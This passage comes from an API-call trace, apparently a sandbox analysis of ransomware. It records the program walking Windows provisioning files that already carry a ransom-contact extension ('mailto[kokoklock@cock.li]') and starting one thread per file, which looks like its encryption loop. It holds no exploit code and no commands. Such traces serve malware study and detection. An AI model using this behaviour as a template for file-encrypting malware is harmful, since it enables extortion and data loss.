ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dbe7a8c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="162__C~1.D0E")) returned 1 [0177.560] wcscmp (_String1="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.560] wcscmp (_String1="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.560] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x194) returned 0x2fa9e38 [0177.561] wcscpy (in: _Dest=0x2fa9e38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.561] wcscat (in: _Dest=0x2fa9e38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.561] wcscat (in: _Dest=0x2fa9e38, _Source="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa9e38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0177.562] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dc0dc76, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="163__C~1.D0E")) returned 1 [0177.562] wcscmp (_String1="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.562] wcscmp (_String1="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.562] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2fa9fd8 [0177.562] wcscpy (in: _Dest=0x2fa9fd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.562] wcscat (in: _Dest=0x2fa9fd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.562] wcscat (in: _Dest=0x2fa9fd8, _Source="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0177.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa9fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0177.563] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dc33df0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x413, dwReserved0=0x0, dwReserved1=0x0, cFileName="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="164__C~1.D0E")) returned 1 [0177.563] wcscmp (_String1="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.563] wcscmp (_String1="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.563] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x192) returned 0x2faa150 [0177.563] wcscpy (in: _Dest=0x2faa150, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.563] wcscat (in: _Dest=0x2faa150, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.563] wcscat (in: _Dest=0x2faa150, _Source="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faa150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0177.564] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dc5a2fd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x37f, dwReserved0=0x0, dwReserved1=0x0, cFileName="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="165__C~1.D0E")) returned 1 [0177.564] wcscmp (_String1="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.564] wcscmp (_String1="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.564] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x186) returned 0x2faa2f0 [0177.564] wcscpy (in: _Dest=0x2faa2f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.564] wcscat (in: _Dest=0x2faa2f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.564] wcscat (in: _Dest=0x2faa2f0, _Source="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faa2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0177.564] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dcbb2c4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="166__C~1.D0E")) returned 1 [0177.564] wcscmp (_String1="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.565] wcscmp (_String1="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.565] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x186) returned 0x2faa480 [0177.565] wcscpy (in: _Dest=0x2faa480, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.565] wcscat (in: _Dest=0x2faa480, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.565] wcscat (in: _Dest=0x2faa480, _Source="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faa480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0177.565] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dcf5fb9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x0, cFileName="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="167__C~1.D0E")) returned 1 [0177.565] wcscmp (_String1="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.565] wcscmp (_String1="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.565] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x190) returned 0x2faa610 [0177.565] wcscpy (in: _Dest=0x2faa610, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.565] wcscat (in: _Dest=0x2faa610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.565] wcscat (in: _Dest=0x2faa610, _Source="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faa610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0177.566] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dd0719b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="168__C~1.D0E")) returned 1 [0177.566] wcscmp (_String1="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.566] wcscmp (_String1="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.566] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2ff0ed0 [0177.567] wcscpy (in: _Dest=0x2ff0ed0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.567] wcscat (in: _Dest=0x2ff0ed0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.567] wcscat (in: _Dest=0x2ff0ed0, _Source="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0ed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0177.568] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dd2d6b6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="169__C~1.D0E")) returned 1 [0177.568] wcscmp (_String1="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.568] wcscmp (_String1="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2ff1200 [0177.568] wcscpy (in: _Dest=0x2ff1200, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.568] wcscat (in: _Dest=0x2ff1200, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.568] wcscat (in: _Dest=0x2ff1200, _Source="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0177.569] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dd538b5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x388, dwReserved0=0x0, dwReserved1=0x0, cFileName="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="16__CO~1.D0E")) returned 1 [0177.569] wcscmp (_String1="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.569] wcscmp (_String1="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.569] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2ff0d38 [0177.569] wcscpy (in: _Dest=0x2ff0d38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.569] wcscat (in: _Dest=0x2ff0d38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.569] wcscat (in: _Dest=0x2ff0d38, _Source="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0d38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0177.569] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8dd9fd78, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="170__C~1.D0E")) returned 1 [0177.572] wcscmp (_String1="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.572] wcscmp (_String1="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2ff0870 [0177.572] wcscpy (in: _Dest=0x2ff0870, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.572] wcscat (in: _Dest=0x2ff0870, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.572] wcscat (in: _Dest=0x2ff0870, _Source="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0177.573] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, 